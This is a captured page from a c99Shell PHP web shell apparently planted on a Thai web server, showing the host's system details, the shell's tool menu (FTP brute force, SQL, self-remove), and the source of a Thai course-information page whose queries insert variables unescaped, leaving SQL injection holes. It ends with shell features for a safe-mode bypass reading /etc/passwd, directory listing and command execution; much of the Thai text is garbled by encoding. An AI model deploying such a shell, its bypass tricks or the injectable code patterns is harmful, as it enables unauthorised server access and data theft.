110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/directorBCNU/ drwxr-xr-x Free 50.99 GB of 127.8 GB (39.9%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

<?php

    session_start();

    

    /**  Define Validate Access  */

    define( '_VALID_ACCESS', 1 );



    /**  Check Session User Login  */

    if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {

        echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";

        echo "<p style=padding-top:115px><p align=center><br /><font color=red><strong>ЎГШіТ·УЎТГ Login ЎиН№</strong></font></p></p>";

        echo "<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";

        exit();

    } 

    else {

        /**  Configuration  */

        require_once( "../configuration.php" );

        require_once( $_Config_absolute_path . "/includes/framework.php" );

        require_once( "../include/Function.php" );

    

        /**  Create Database Object  */

        $dbObj = new DBConn;



        $sql = " SELECT *  FROM   course  WHERE  courseId='$courseId' ";

        $result = $dbObj->execQuery($sql);

        $rs = $dbObj->fetchArray($result);



} # else

?> 

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<link href="../css/default.css" rel="stylesheet" type="text/css">

<title>ўйНБЩЕ·СиЗд»єШ¤ЕТЎГ - ўйНБЩЕбј№ЎТГКН№</title>

</head>



<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">

<table width="700" border="0" align="center" cellspacing="0" cellpadding="0">

  <tr>

    <td height="10"></td>

  </tr>

</table>

<table width="700" border="0" align="center" cellpadding="0" cellspacing="0">

    <tr>

        <td width="100%" align="center" >

          <form id="form1" name="form1" method="post" action="">

            <fieldset>

            <table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#E0E0E0" style="border:0px solid gray">

              <tr bordercolor="#CCCCCC" bgcolor="#E4EEFA">

                <td height="5" colspan="3" bordercolor="#999999" bgcolor="#FFFFFF"></td>

              </tr>

              <tr bordercolor="#CCCCCC" bgcolor="#E4EEFA">

                <td height="25" colspan="3" align="center" bordercolor="#999999" bgcolor="#F0F0F0"><span class="PATRON11">ГТВЕРаНХВґЗФЄТ</span> <span class="NOTE"><? echo $rs['courseName']; ?></span></td>

              </tr>

              <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">

                <td height="10" colspan="3" bordercolor="#999999" bgcolor="#FFFFFF"></td>

              </tr>

              <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">

                <td bordercolor="#999999" bgcolor="#FFFFFF"><strong><font color="#000066" face="Tahoma">ГЛСКЗФЄТд·В</font></strong></td>

                <td bgcolor="#FFFFFF">&nbsp;</td>

                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma"> <? echo $rs['courseCode']; ?></font></td>

              </tr>

              <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">

                <td bordercolor="#999999" bgcolor="#FFFFFF"><strong><font color="#000066" face="Tahoma">ГЛСКЗФЄТНС§ЎДЙ</font></strong></td>

                <td bgcolor="#FFFFFF">&nbsp;</td>

                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><? echo $rs['courseCodeEng']; ?></font></td>

              </tr>

              <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">

                <td bordercolor="#999999" bgcolor="#FFFFFF"><strong><font color="#000066" face="Tahoma">ЄЧиНЗФЄТд·В</font></strong></td>

                <td bgcolor="#FFFFFF">&nbsp;</td>

                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><? echo $rs['courseName']; ?></font></td>

              </tr>

              <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">

                <td bordercolor="#999999" bgcolor="#FFFFFF"><strong><font color="#000066" face="Tahoma">ЄЧиНЗФЄТНС§ЎДЙ</font></strong></td>

                <td bgcolor="#FFFFFF">&nbsp;</td>

                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><? echo $rs['courseNameEng']; ?></font></td>

              </tr>

              <!--<tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">

                <td bordercolor="#999999" bgcolor="#FFFFFF"><strong><font color="#003366" face="Tahoma">ЎЕШиБЗФЄТ</font></strong></td>

                <td bgcolor="#FFFFFF">&nbsp;</td>

                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma">

                  <?php

                    //$Subject_group = $rs['Subject_group'];

                    //$sql_1 = " SELECT *  FROM subject_group_tb  WHERE Subject_group='$Subject_group' "; 

                    //$result_1 = mysql_query($sql_1) or die("Error".mysql_error());;

                    //$rss = mysql_fetch_array($result_1);

                    //echo "$rss[Short_name]&nbsp; $rss[Thai_name]";

                ?></font></td>

              </tr>-->

              <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">

                <td width="20%" bordercolor="#999999" bgcolor="#FFFFFF"><strong><font color="#003366" face="Tahoma">ЛЕСЎКЩµГ</font></strong></td>

                <td width="1%" bgcolor="#FFFFFF"><font size="2" face="Tahoma">&nbsp;</font></td>

                <td width="79%" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma">

                    <?php

                    $Course_code = $rs['Course_code'];

                    $sql = " SELECT *  FROM course_tb  WHERE  Course_code='$Course_code'  ORDER BY Course_code " ;

                    $result = mysql_query($sql);

                    $rss= mysql_fetch_array($result);

                    echo "$rss[Course_name]";

                  ?></font></td>

              </tr>

              <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">

                <td bordercolor="#999999" bgcolor="#FFFFFF"><strong><font color="#003366" face="Tahoma">ЛБЗґЗФЄТ</font></strong></td>

                <td bgcolor="#FFFFFF">&nbsp;</td>

                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma">

                  <?php

                    $conditionId = $rs['conditionId'];

                    $sql11 = " SELECT *  FROM  condition_db  WHERE conditionId='$conditionId' ";

                    $result11 = mysql_query($sql11)  or die("error".mysql_error());;

                    $rss1 = mysql_fetch_array($result11);

                    echo $rss1['condition'];

              ?></font></td>

              </tr>

              <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">

                <td bordercolor="#999999" bgcolor="#FFFFFF"><strong><font color="#003366" face="Tahoma">ЁУ№З№ЄСиЗвБ§·Сй§ЛБґ</font></strong></td>

                <td bgcolor="#FFFFFF">&nbsp;</td>

                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><? echo $rs['Total_hour']; ?></font></td>

              </tr>

              <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">

                <td bordercolor="#999999" bgcolor="#FFFFFF"><strong><font color="#003366" face="Tahoma">Л№иЗВЎФµ</font></strong></td>

                <td bgcolor="#FFFFFF">&nbsp;</td>

                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><? echo $rs['courseUnit']; ?></font></td>

              </tr>

              <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">

                <td bordercolor="#999999" bgcolor="#FFFFFF"><strong><font color="#003366" face="Tahoma">ЗСµ¶Ш»ГРК§¤м</font></strong></td>

                <td bgcolor="#FFFFFF">&nbsp;</td>

                <td valign="top" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><? echo nl2br( $rs['Objective'] ); ?></font></td>

              </tr>

              <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">

                <td valign="top" bordercolor="#999999" bgcolor="#FFFFFF"><strong><font color="#003366" face="Tahoma">ЕСЎЙіРЗФЄТ</font></strong></td>

                <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">&nbsp;</font></td>

                <td valign="top" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><? echo nl2br( $rs['description'] ); ?></font></td>

              </tr>

              <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">

                <td bordercolor="#999999" bgcolor="#FFFFFF"><strong><font color="#003366" face="Tahoma">КБГГ¶№РЄСй№»Х</font></strong></td>

                <td bgcolor="#FFFFFF">&nbsp;</td>

                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><? echo nl2br( $rs['Class_Affect'] ); ?></font></td>

              </tr>

              <tr bordercolor="#CCCCCC" bgcolor="#E4EEFA">

                <td height="10" colspan="3" align="center" bordercolor="#999999" bgcolor="#FFFFFF"></td>

              </tr>

            </table>

          </fieldset>

         <br /><input type="button" name="Submit" value=" »ФґЛ№йТµиТ§" onClick="javascript:parent.close();" class="CURSOR-HAND" />

          </form>

    </tr>

</table>

</body>

</html>

<?php

    /**  Free Resource */

    $dbObj->freeresult($result1);

    

    /**  Close the Database  */

    $dbObj->disconn();

    

    /**  Unset Class  */

    unset($dbObj);

?>
:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:
:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/
:: Command execute ::
Enter:	Select: